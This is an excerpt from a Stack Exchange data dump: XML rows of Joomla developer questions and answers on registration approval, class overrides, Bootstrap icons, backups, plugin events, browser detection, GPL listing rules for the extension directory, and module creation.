  <row Id="634" PostTypeId="2" ParentId="629" CreationDate="2014-05-06T12:03:59.013" Score="1" Body="&lt;p&gt;A notification email when the account is activated should be default behavior for Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Enabling_user%27s_registration_approval_by_admins&quot; rel=&quot;nofollow&quot;&gt;Enabling user's registration approval by admins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A new feature added to the user registration process in Joomla 2.5 and newer is the New User's Approval by Administrators, where a user will only be able to login after an administrator approves and activates the account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="48" LastEditorUserId="144" LastEditDate="2014-05-06T14:18:52.017" LastActivityDate="2014-05-06T14:18:52.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="635" PostTypeId="2" ParentId="626" CreationDate="2014-05-06T12:20:36.493" Score="7" Body="&lt;p&gt;&lt;strong&gt;The documentation is stored&lt;/strong&gt; in our &lt;a href=&quot;https://github.com/joomla/jissues&quot;&gt;JIssues GitHub repo&lt;/a&gt; in Markdown format for easy processing and contributing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To display the docs on site&lt;/strong&gt;, we use a &lt;a href=&quot;https://github.com/joomla/jissues/blob/master/cli/Application/Command/Make/Docu.php&quot;&gt;command line script&lt;/a&gt; which scans the folder, parses the Markdown document into HTML via the GitHub API, and the rendering is stored into the database.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="159" LastEditDate="2014-05-06T12:33:38.620" LastActivityDate="2014-05-06T12:33:38.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="636" PostTypeId="2" ParentId="629" CreationDate="2014-05-06T12:40:32.893" Score="2" Body="&lt;p&gt;Yes a plugin is available for the same purpose. It is called &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/email-authentication/26059&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;admin-approval&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This extension enables Email Verification of newly registered users. To further enhance the site security - after the email verification from the user, administrator approval will be required to activate the user account. It integrates with Joomla, Joomla + JomSocial&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am the developer of this plugin.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-05-06T12:40:32.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="637" PostTypeId="2" ParentId="621" CreationDate="2014-05-06T14:15:09.960" Score="2" Body="&lt;p&gt;I've pushed a working CRUD example on the intermediate branch of Michael's fork&#xA;&lt;a href=&quot;https://github.com/mbabker/framework-app/tree/intermediate&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mbabker/framework-app/tree/intermediate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clone it, and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ php composer.phar install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from the clone's location to install the framework. The above command should take care of creating the configuration file for you. Worst case you can manually create a Config.json file in the /App/Config folder by copying the Config.dist.json&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2014-05-06T14:15:09.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="639" PostTypeId="2" ParentId="611" CreationDate="2014-05-06T14:25:28.510" Score="4" Body="&lt;p&gt;Following &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;the example in the Joomla documentation&lt;/a&gt;, create a system plugin to override the helper class containing the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemComVirtuemartOverride extends JPlugin {&#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;    public function  onAfterInitialise () {&#xA;        $app = JFactory::getApplication();&#xA;        if('com_virtuemart' == JRequest::getCMD('option')) {&#xA;            // replace FILENAME with the name of the file you want to override&#xA;            require_once(dirname(__FILE__) . '/classoverrides/FILENAME.php');&#xA;        }&#xA;    }   &#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create the folder &lt;code&gt;classoverrides&lt;/code&gt; in your Joomla root folder, copy the file in question into it and make your edits.&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2014-05-06T14:25:28.510" CommentCount="1" CommunityOwnedDate="2014-05-06T14:25:28.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="640" PostTypeId="2" ParentId="622" CreationDate="2014-05-06T15:17:09.863" Score="1" Body="&lt;p&gt;To open external links in a new window you could use &lt;a href=&quot;http://convergenceservices.in/products/cms-extensions/detail/10-cms-extensions/extensions/91-plugin-open-external-links-in-new-window.html?sef=hcfp&quot; rel=&quot;nofollow&quot;&gt;this free plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also highly recommend using &lt;a href=&quot;http://anything-digital.com/sh404sef/highlights.html&quot; rel=&quot;nofollow&quot;&gt;sh404SEF&lt;/a&gt; which apart from being able to mark external links also gives you great control of your SEF links, tracks 404 errors and adds to your sites' security.&lt;br&gt;&#xA;&lt;sub&gt; Note: I have no affiliation to it other than being a happy customer.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2014-05-06T15:17:09.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="641" PostTypeId="1" AcceptedAnswerId="642" CreationDate="2014-05-06T17:44:49.263" Score="5" ViewCount="1066" Body="&lt;p&gt;This is based in the Joomla backend, component development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that the base features of bootstrap 2.3 that Joomla uses is modded, so it is missing icons and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any guide to show these differences? Some sort a guide would be great to avoid pulling in Bootstrap again just to get a few basic features (like the default icons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know most of this is termed &quot;JUI&quot; and doing some searching I am unable to find any documentation on it. Is there anything other then reading the css files to help with this? Or is it just best be add in your own css and override the core bootstrap (as in a container class that applies the override within the component)?&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="159" LastEditDate="2014-05-06T19:19:52.997" LastActivityDate="2016-02-19T12:39:02.257" Title="Guide for using Bootstrap in Joomla backend" Tags="|administrator|twitter-bootstrap-2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="642" PostTypeId="2" ParentId="641" CreationDate="2014-05-06T19:16:56.127" Score="9" Body="&lt;p&gt;The Bootstrap version included within Joomla is 2.3.2 (&lt;a href=&quot;http://getbootstrap.com/2.3.2/&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/2.3.2/&lt;/a&gt;).&#xA;There are a few modifications, but unfortunately only documented in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing you see with the icons is actually not a modification of the Bootstrap files but a flavor of the Isis template. It uses IcoMoon (&lt;a href=&quot;http://icomoon.io&quot; rel=&quot;nofollow&quot;&gt;http://icomoon.io&lt;/a&gt;) icons instead of the default Bootstrap ones.&#xA;The list of the available icons can be found here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_Standard_Icomoon_Fonts&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Joomla_Standard_Icomoon_Fonts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of today, there are even more icons available as it was extended eventually. The page however never was updated with them. You either have to try or read the LESS file :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modifications introduced to provide Mootools compatibility&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;div.modal (instead of .modal), modals.joomla.less and responsive-767px-max.joomla.less&lt;/li&gt;&#xA;&lt;li&gt;hideme x hide ($.Event('hideme')), bootstrap-collapse-joomla.js and bootstrap-tooltip-joomla.js&lt;/li&gt;&#xA;&lt;li&gt;Click on parent menu support, bootstrap-dropdown-joomla.js&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/1172&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/1172&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2016-02-19T12:39:02.257" LastActivityDate="2016-02-19T12:39:02.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="643" PostTypeId="1" AcceptedAnswerId="645" CreationDate="2014-05-06T19:35:26.907" Score="7" ViewCount="121" Body="&lt;p&gt;What are some options for Backing Up &amp;amp; Restoring Joomla! instances? Preferably ones suitable for staging.&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2014-05-06T21:29:02.423" Title="Options for backups, restoring, and staging?" Tags="|joomla-3.x|installation|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="644" PostTypeId="1" AcceptedAnswerId="771" CreationDate="2014-05-06T19:46:37.397" Score="0" ViewCount="564" Body="&lt;p&gt;The process of registration is taking way too long (22 secs) so I've been profiling the plugin execution to see what is happening. My registration process is something I do with a custom component (for mobile registration). I've also got a couple of plugins that are fired with &lt;code&gt;onUserAfterSave&lt;/code&gt; and a third custom plugin. So I though the problem was with my plugins but they seem pretty quick. What is slow is the time between and the fact that my plugins are called twice. This is the execution flow:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2014-05-06T18:39:50+00:00       INFO    -       mobileregister..START&#xA;  Joomla save&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2014-05-06T18:39:56+00:00       INFO    -       Start of&#xA;  onUserAfterSave in RegRedirect 2014-05-06T18:39:56+00:00       INFO&lt;br&gt;&#xA;  2014-05-06T18:40:02+00:00       INFO    -       Start of&#xA;  onUserAfterSave in RegRedirect 2014-05-06T18:40:02+00:00       INFO&lt;br&gt;&#xA;  -       End of onUserAfterSave in RegRedirect&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2014-05-06T18:40:02+00:00       INFO    -       ResetToken START -&#xA;  onUserAfterSave 2014-05-06T18:40:02+00:00       INFO    -&lt;br&gt;&#xA;  ResetToken END - onUserAfterSave&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2014-05-06T18:40:11+00:00       INFO    -       ResetToken START -&#xA;  onUserAfterSave 2014-05-06T18:40:11+00:00       INFO    -&lt;br&gt;&#xA;  ResetToken END - onUserAfterSave&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2014-05-06T18:40:12+00:00       INFO    -       mobileregister..END&#xA;  Joomla save&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My plugins RegRedirect and ResetToken are being called twice (not SetLimits). The time between that is several seconds. Any ideas on what I can do to figure out what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bit more clues of what is going on. It seems the code to add a user to a group triggers all the onUserAfterSave events again. This is the code I have in RegRedirect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUserHelper::addUserToGroup($user['id'], $service_provider[&quot;usergroup_id&quot;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to avoid this?&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2014-05-07T11:29:59.570" LastActivityDate="2019-01-08T04:31:44.853" Title="onUserAfterSave called twice because of addUserToGroup" Tags="|php|plugin|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="645" PostTypeId="2" ParentId="643" CreationDate="2014-05-06T19:48:34.220" Score="9" Body="&lt;p&gt;The easiest way I've found is to use &lt;a href=&quot;https://www.akeebabackup.com/&quot;&gt;Akeeba Backup&lt;/a&gt;. Very easy to use and free.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2014-05-06T19:48:34.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="646" PostTypeId="1" AcceptedAnswerId="651" CreationDate="2014-05-06T21:01:15.993" Score="10" ViewCount="2828" Body="&lt;p&gt;Can we create a thorough question/answers post with the core methods that allow browser detection in Joomla 2.5 and 3 ?&#xA;After a quick research in the web, I feel that there is not sufficient information on a single page the fulfills the topic.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-25T19:00:27.640" LastActivityDate="2016-06-20T10:10:15.417" Title="Joomla browser detection" Tags="|joomla-3.x|joomla-api|browser-detection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="647" PostTypeId="2" ParentId="643" CreationDate="2014-05-06T21:29:02.423" Score="2" Body="&lt;p&gt;While Akeeba Backup is without doubt the most popular backup solution, I would like to add that there are also other solutions. You can get a list of them at JED:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/backup&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/backup&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-06T21:29:02.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="648" PostTypeId="1" AcceptedAnswerId="2301" CreationDate="2014-05-06T21:57:05.783" Score="7" ViewCount="1004" Body="&lt;p&gt;In my system plugin , I am using following to load default options xml file for templates&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form, $data) {&#xA;&#xA;    if (!($form instanceof JForm)){&#xA;&#xA;    $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;    }&#xA;&#xA;&#xA;    // Template defaults&#xA;    if ($form-&amp;gt;getName() == 'com_templates.style') {&#xA;        JForm::addFormPath('pathtofolder');&#xA;        $form-&amp;gt;loadFile('xmlfile', false, false , true);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works fine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now in templateDetails.xml by default I will have params fields group empty &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also works fine and it display the default params from my xml file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to give users an option to override the existing default param by simply adding it inside the templateDetails.xml. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example protostar default I changed templateBackgroundColor value from F4F6F7 to FF6600&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;templateBackgroundColor&quot; class=&quot;&quot; type=&quot;color&quot; default=&quot;#FF6600&quot;&#xA;                label=&quot;TPL_PROTOSTAR_BACKGROUND_COLOR_LABEL&quot;&#xA;                description=&quot;TPL_PROTOSTAR_BACKGROUND_COLOR_DESC&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this also works , but the field is in wrong position &#xA;now it is located as the first field on top and it was second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the loadFile() and load() method it should override the field in its exact place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/form.php#L851&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/form.php#L851&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/form.php#L727&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/form.php#L727&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? &#xA;Did the load fire to soon before the template xml ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. &lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-06-15T00:27:38.033" Title="How to setup $form-&gt;loadFile method properly?" Tags="|overrides|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="650" PostTypeId="2" ParentId="617" CreationDate="2014-05-06T22:32:33.090" Score="0" Body="&lt;p&gt;Why go trough hustle? Publish joomla menu module in breadcrumb position. Show all levels and add something like this  &lt;a href=&quot;http://jsfiddle.net/5Lscg/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/5Lscg/&lt;/a&gt;.  Or use some of these &#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-05-06T22:32:33.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="651" PostTypeId="2" ParentId="646" CreationDate="2014-05-06T22:49:54.110" Score="14" Body="&lt;p&gt;A more thorough walk through should really be added to the docs wiki IMO, but sharing what I can via mobile now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.5 and 3.x compatibility, you can use JBrowser to do some browser detection.  However, this class may not work well with newer browsers or versions.  To use it to get the browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$browser = JBrowser::getInstance()-&amp;gt;getBrowser();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 3.2 and newer, you can use JApplicationWebClient, which is a newer class designed to be more flexible with today's browser options.  To use it to get the browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$client = JFactory::getApplication()-&amp;gt;client-&amp;gt;browser;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both classes are documented on the API site, &lt;a href=&quot;http://api.joomla.org/cms-3/index.html&quot;&gt;http://api.joomla.org/cms-3/index.html&lt;/a&gt; will link you to the base page for 3.3 docs.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-06T22:49:54.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="652" PostTypeId="1" AcceptedAnswerId="653" CreationDate="2014-05-07T00:24:23.643" Score="-6" ViewCount="133" Body="&lt;p&gt;I know that the JED made it a requirement that all software extensions that are listed on the JED are GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a 'workaround' that subverts GPL by not 'distributing' the code (i.e. offering your code only as SaaS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, it may be possible to distribute a GPL client that will only work with a specific server - and of course, if you made that client dependent on software on the server that was SaaS only and propriety, that would effectively subvert the 4 freedoms of GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is - is this type of 'workaround' of the GPL permitted on the JED?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="159" LastEditDate="2014-05-08T08:26:56.623" LastActivityDate="2014-05-08T08:26:56.623" Title="Are extensions which require SaaS servers to work permitted to be listed on the JED?" Tags="|extensions|gpl|jed|" AnswerCount="2" CommentCount="4" ClosedDate="2014-05-08T06:27:24.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="653" PostTypeId="2" ParentId="652" CreationDate="2014-05-07T00:36:02.657" Score="2" Body="&lt;p&gt;I would say technically yes, it's permitted. Watchful is a proprietary SaaS service which is run via a GPL client which is on the JED: (&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/site-monitoring/22225&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/site-monitoring/22225&lt;/a&gt;). So based on the fact there are current extensions approved I would say it's permitted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, i did a little reading on the topic and I found this post by Tim O'Reilly. I tend to agree with this point he makes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... free software license requirements to release source code are all&#xA;  triggered by the act of distribution, and that web applications, which&#xA;  are not actually “distributed,” are therefore not bound by these&#xA;  licenses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because SaaS doesn't &quot;technically&quot; involve the distribution (&quot;conveyance&quot;) of source-code, SaaS extensions do not violate the JED rules.&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="27" LastEditDate="2014-05-07T07:17:29.910" LastActivityDate="2014-05-07T07:17:29.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="654" PostTypeId="2" ParentId="652" CreationDate="2014-05-07T01:59:57.663" Score="4" Body="&lt;p&gt;Per the JED checklist (&lt;a href=&quot;http://docs.joomla.org/JED_Entries_License_Checklist&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/JED_Entries_License_Checklist&lt;/a&gt;), an extension which connects to a non-GPL service may be listed in the JED based on certain conditions.  See list C2.3 item 10.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-07T01:59:57.663" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="655" PostTypeId="1" AcceptedAnswerId="661" CreationDate="2014-05-07T03:49:35.550" Score="10" ViewCount="2635" Body="&lt;p&gt;I've looked far and wide for a tutorial on this, but can't seem to find anything satisfactory. How do you make a new module for joomla? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using custom HTML modules all over my code, and I'd like to be able to reach into PHP and make them all into a module, but I haven't found a tutorial to do that. I've modified installed modules before but I don't know how to make one that will install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The joomla documentation is quite confusing and after reading it through several times I gave up. Can anyone help explain this process to me? thanks!&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="126" LastEditDate="2017-01-14T11:56:02.650" LastActivityDate="2019-07-31T11:58:02.403" Title="How to develop a Joomla module?" Tags="|joomla-3.x|joomla-2.5|development|module|extensions|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="656" PostTypeId="2" ParentId="655" CreationDate="2014-05-07T04:22:17.783" Score="3" Body="&lt;p&gt;We have developed a free module for the same purpose &lt;a href=&quot;https://github.com/readybytes/mod_customphp&quot; rel=&quot;nofollow&quot;&gt;Custom PHP Module for Joomla CMS&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to create a PHP file e.g. login.php in [website-root]/modules/mod_customphp/files&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Now to use this file&lt;/li&gt;&#xA;  &lt;li&gt;Go to [backend] -&gt; module-manager&lt;/li&gt;&#xA;  &lt;li&gt;Create new custom-php module&lt;/li&gt;&#xA;  &lt;li&gt;In parameter includefile put login&lt;/li&gt;&#xA;  &lt;li&gt;This will render login.php in module.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-05-07T04:22:17.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="657" PostTypeId="2" ParentId="655" CreationDate="2014-05-07T04:26:20.040" Score="15" Body="&lt;p&gt;Have you seen the following tutorials in the joomla documentation?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aCreating_a_simple_module&quot;&gt;http://docs.joomla.org/J2.5:Creating_a_simple_module&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In particular, make sure you look at all the articles in the series.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module/Introduction&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module/Introduction&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module/Developing_a_Basic_Module&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module/Developing_a_Basic_Module&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module/Using_the_Database&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module/Using_the_Database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module/Adding_Form_Fields&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module/Adding_Form_Fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module/Adding_Auto_Update&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module/Adding_Auto_Update&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aCreating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot;&gt;http://docs.joomla.org/J3.3:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-05-07T04:26:20.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="658" PostTypeId="2" ParentId="573" CreationDate="2014-05-07T04:56:57.463" Score="2" Body="&lt;p&gt;It has been a while since I used VirtueMart and I can't be overly specific but I think there may be a way to do this with a somewhat different approach.  It seems to me that there is a plugin or component that will allow you to set up a multi-vendor VirtueMart mall.  In effect a &quot;virtual&quot; shopping center.  Then it should be possible to transfer from a &quot;catalog&quot; to the correct store to complete a purchase.  It would use the same database and you should be able to give each virtual store its own theme and brand.  There is only 1 install of Joomla and VirtueMart required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry I can't be more specific but I just don't have time to research this right now.  Nonetheless, I hope this gives you a fresh approach to your requirements.  Keep us posted of your progress.&lt;/p&gt;&#xA;" OwnerUserId="130" LastActivityDate="2014-05-07T04:56:57.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="659" PostTypeId="2" ParentId="552" CreationDate="2014-05-07T06:01:16.460" Score="3" Body="&lt;p&gt;I had a client request to make an extranet for them using Joomla, which had to be 'locked down' as strictly as possible. I did this by setting the site to &lt;strong&gt;Offline&lt;/strong&gt; in &lt;strong&gt;Global Configuration&lt;/strong&gt;, then edited the ACL to give 1 custom user group I created the &lt;strong&gt;Offline Access&lt;/strong&gt; permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice in the comments you mention you're using OAuth for login - some extensions that assist with this can be configured to automatically add users to a user group, so you could then use this functionality to add them to the group configured as per the above instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then overrode the &lt;code&gt;offline.php&lt;/code&gt; file in my template to make it seem more like an extranet-style login page, rather than the default 'This site is offline' page.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-05-07T06:01:16.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="660" PostTypeId="2" ParentId="655" CreationDate="2014-05-07T06:48:21.753" Score="3" Body="&lt;p&gt;You can copy an existing module in a local installation. Then you rename it the way you want. You also have to rename the php and xml files as well as the php class names in the code.&#xA;Then you just make a zip-file of your module. This zip-file you can install in your joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you need more details about renaming?&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2014-05-07T06:48:21.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
